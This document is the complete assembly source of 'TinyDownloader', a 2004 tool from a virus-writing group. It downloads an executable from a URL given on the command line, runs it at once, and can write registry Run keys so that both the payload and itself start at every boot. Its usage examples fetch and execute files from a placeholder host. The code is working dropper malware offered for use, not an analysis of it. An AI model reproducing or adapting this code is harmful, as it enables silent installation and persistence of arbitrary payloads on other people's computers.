TinyDownloader Tool    [by DiA]
[executable tool in a zip archive]

  

; TinyDownloader Tool by DiA/rRlf
; (c)2004 www.vx-dia.de.vu
; DiA_hates_machine@gmx.de
;----------------------------------------------------
;
; .disclaimer
;  You use this tool at your own risk! I am NOT responsible for the things
;  you do with this. Take care and have fun.
;
; .intro
;  Hello to my first commandline tool. This is a downloader for executable
;  files via HTTP protocol. After downloading it executes the downloaded
;  file, and if you want it, it creates autostart settings in the registry.
;  Assemble it with FASM, the flat assembler.
;
; .usage
;  TinyDL.exe [full url of file];[path of file];[autostart downloaded file 0=no 1=yes];[autostart TinyDL 0=no 1=yes]
;  Attention: break between parameters is the semicolon ";" without any space!
;             URL maximum 150 bytes, SaveAs path maximum 100 bytes!
;             To change this go to the end of this source.
;
; .usage examples
;  TinyDL.exe http://whatever.com/test.exe;test_dl.exe;0;0
;  ->This example downloads the file "test.exe" and save in current folder under
;    the name "test_dl.exe" and executes this file. Attention: when you dont
;    give the full path of "TinyDL.exe" and "test_dl.exe" the autostart functions
;    dont work! Use this commandline in this form when you only want to download
;    and execute a file without autostart.
;
;  C:\TinyDL.exe http://whatever.com/test.exe;test_dl.exe;0;1
;  ->This example downloads the file "test.exe" and save it in current folder
;    under the name "test_dl.exe". After downloading it executes this file.
;    TinyDL makes a autostart registry entry to start itself on every system
;    start. Attention: give full path of "TinyDL.exe", otherwise the autostart
;    dont work!
;
;  TinyDL.exe http://whatever.com/test.exe;C:\Windows\test_dl.exe;1;0
;  ->This example downloads the file "test.exe" and save it under "C:\Windows\test_dl.exe".
;    After downloading and saving it executes the file. It creates a registry
;    entry to autostart the dowloaded "test_dl.exe" on every system start.
;    Attention: give full path of "test_dl.exe", otherwise the autostart dont work!
;
;  C:\TinyDL.exe http://whatever.com/test.exe;C:\Windows\test_dl.exe;1;1
;  ->This example downloads the file "test.exe" and save it in "C:\Windows\test_dl.exe".
;    After downloading it executes this file. It creates two registry entrys for
;    autostart of downloaded executable file and for TinyDL itself. Attention:
;    Give full path of "TinyDL.exe" and "test_dl.exe", otherwise the autostart
;    dont work.
;
; .outro
;  Bad Luck 13 Riot Extravaganza - RIP                            19.10.2004 DiA/rRlf
;
;
;-----TinyDL.asm-----cut-----start---------------------------------------------------------------------------------------
include "%fasminc%\win32ax.inc"

TinyDownloader:
        invoke GetCommandLine                                   ;commandline including parameters
        mov esi, eax                                            ;to work with the commandline in esi

        cmp byte [esi], 34d                                     ;check for ", when the prog is runned without parameters
        je Exit                                                 ;if yes the user dont give any parameters, so exit

FindSpace:
        cmp byte [esi], 32d                                     ;check for an space
        je GetURL                                               ;if yes get the full url of the file

        inc esi                                                 ;esi + 1
        jmp FindSpace                                           ;search again

GetURL:
        inc esi                                                 ;jmp behind the space
        xor ecx, ecx                                            ;ecx = 0 , the counter
        inc ecx                                                 ;start with 1

FindSemicolon1:
        cmp byte [esi], 59d                                     ;is there a ;
        je SaveURL                                              ;then save the url

        inc esi                                                 ;check next
        inc ecx                                                 ;count that
        jmp FindSemicolon1                                      ;search again

SaveURL:
        inc esi                                                 ;after the ;
        push esi                                                ;save esi to get all other parameters
        sub esi, ecx                                            ;get address back
        invoke lstrcpyn,\                                       ;copy the url including length (ecx) in variable
               FileURL,\                                        ;copy string to this target
               esi,\                                            ;from esi
               ecx                                              ;how many bytes copy

        cmp eax, 0                                              ;if there is a null, there is a error
        je Exit                                                 ;the exit

GetSaveAs:
        pop esi                                                 ;go on with the commandline
        xor ecx, ecx                                            ;ecx = 0
        inc ecx                                                 ;mov ecx, 1

FindSemicolon2:
        cmp byte [esi], 59d                                     ;check for ;
        je SaveSaveAs                                           ; :)

        inc esi                                                 ;next place
        inc ecx                                                 ;count the legth
        jmp FindSemicolon2                                      ;check next place

SaveSaveAs:
        inc esi                                                 ;after the ;
        push esi                                                ;save place in esi
        sub esi, ecx                                            ;get address of SaveAs back
        invoke lstrcpyn,\                                       ;copy string
               SaveAs,\                                         ;save there
               esi,\                                            ;from this place
               ecx                                              ;number of bytes

        cmp eax, 0                                              ;if there is a null, there is a error
        je Exit                                                 ;the exit

GetAutostartProg:
        pop esi                                                 ;get commandline again
        cmp byte [esi], 48d                                     ;if "0" then no autostart of prog
        je NoAutostartProg                                      ;set byte to "0"

        mov byte [AutoStartProg], 49d                           ;set byte to "1" (autostart the prog)
        jmp GetAutostartSelf                                    ;check next parameter

NoAutostartProg:
        mov byte [AutoStartProg], 48d                           ;set byte to "0", no autostart

GetAutostartSelf:
        add esi, 2d                                             ;check for self autostart
        cmp byte [esi], 48d                                     ;check for "0" (no autostart)
        je NoAutostartSelf                                      ;set byte to 0

        mov byte [AutoStartSelf], 49d                           ;set to "1", autostart
        jmp StartDownload                                       ;now have all parameters :))

NoAutostartSelf:
        mov byte [AutoStartSelf], 48d                           ;"0", no autostart

StartDownload:
        invoke URLDownloadToFile,\                              ;fasm improts it, thx for this
               0,\                                              ;pcaller, 0
               FileURL,\                                        ;dowload this
               SaveAs,\                                         ;and save it on disk
               0,\                                              ;reserved
               0                                                ;lpfncb...0

        cmp eax, 0                                              ;error?
        jne Exit                                                ;then exit

DownloadComplete:
        invoke CreateProcess,\                                  ;execute downloaded file
               SaveAs,\                                         ;filename
               SaveAs,\                                         ;if the downloaded file has a command line too
               0,\                                              ;no process attributes
               0,\                                              ;no security attributes
               0,\                                              ;nullll
               CREATE_NEW_CONSOLE,\                             ;run as new process
               0,\                                              ;no new environment
               0,\                                              ;no current directory name
               startup,\                                        ;startup structure
               process                                          ;process_info structure

        cmp eax, 0                                              ;if there is an error the file is not complete downloaded
        je DownloadComplete                                     ;check if download is complete again

CheckAutoStartProg:
        cmp byte [AutoStartProg], 48d                           ;0 = no autostart
        je CheckAutoStartSelf                                   ;check for self autostarting

        mov esi, SaveAs                                         ;pointer to path of downlaoded file
        mov edi, SaveAs                                         ;use it for value name
        call AutoStartup                                        ;write to registry

CheckAutoStartSelf:
        cmp byte [AutoStartSelf], 48d                           ;no autostart
        je Exit                                                 ;then exit

        invoke GetCommandLine                                   ;get whole command line
        mov esi, eax                                            ;store in esi

        cmp byte [esi], 34d                                     ;check if first byte is a "
        je RemoveFirst                                          ;if yes remove it
        jmp AutostartSelf                                       ;write it to registry

RemoveFirst:
        inc esi                                                 ;remove "

AutostartSelf:
        mov edi, FileURL                                        ;use url for value name
        call AutoStartup                                        ;write it!

Exit:
        invoke ExitProcess, 0                                   ;exit the program

AutoStartup:
        invoke RegOpenKeyEx,\                                   ;open registry key
               HKEY_LOCAL_MACHINE,\                             ;startup in HKEY_LOCAL_MACHINE
               SubKey,\                                         ;autostart subkey to open
               0,\                                              ;reserved
               KEY_ALL_ACCESS,\                                 ;who cares
               RegHandle                                        ;save here the handle

        cmp eax, 0                                              ;error?
        jnz Exit                                                ;if yes then exit this program

        invoke lstrlen,\                                        ;get length of string
               esi                                              ;pointer to string

        invoke RegSetValueEx,\                                  ;write key
               dword [RegHandle],\                              ;the handle of open key
               edi,\                                            ;pointer to value name
               0,\                                              ;reserved
               REG_SZ,\                                         ;write string
               esi,\                                            ;esi = pointer to data
               eax                                              ;eax = length of string

        cmp eax, 0                                              ;check for error
        jnz Exit                                                ;if yes exit

        invoke RegCloseKey,\                                    ;close the open registry key
               dword [RegHandle]                                ;via the handle

ret                                                             ;return to the call

Datas:
        startup       STARTUPINFO                               ;structure
        process       PROCESS_INFORMATION                       ;structure

        SubKey        db "Software\Microsoft\Windows\CurrentVersion\Run",0 ;autostart
        RegHandle     dd 0                                      ;save here the handle of open registry key
        AutoStartProg db 13d                                    ;program autostart
        AutoStartSelf db 13d                                    ;self autostart? 13...hmm, i love 13 ;)
        FileURL       rb 150d                                   ;save here the full url (150bytes reserved)
        SaveAs        rb 100d                                   ;save file as (100bytes reserved)

        data import                                             ;only one section, fasm will do it :)
             library kernel32, "KERNEL32.DLL",\
                     urlmon, "URLMON.DLL",\
                     advapi32, "ADVAPI32.DLL"

             import kernel32,\
                    GetCommandLine, "GetCommandLineA",\
                    lstrcpyn, "lstrcpynA",\
                    lstrlen, "lstrlenA",\
                    CreateProcess, "CreateProcessA",\
                    GetTickCount, "GetTickCount",\
                    ExitProcess, "ExitProcess"

             import urlmon,\
                    URLDownloadToFile, "URLDownloadToFileA"

             import advapi32,\
                    RegOpenKeyEx, "RegOpenKeyExA",\
                    RegSetValueEx, "RegSetValueExA",\
                    RegCloseKey, "RegCloseKey"
        end data
;-----TinyDL.asm-----cut-----end-----------------------------------------------------------------------------------------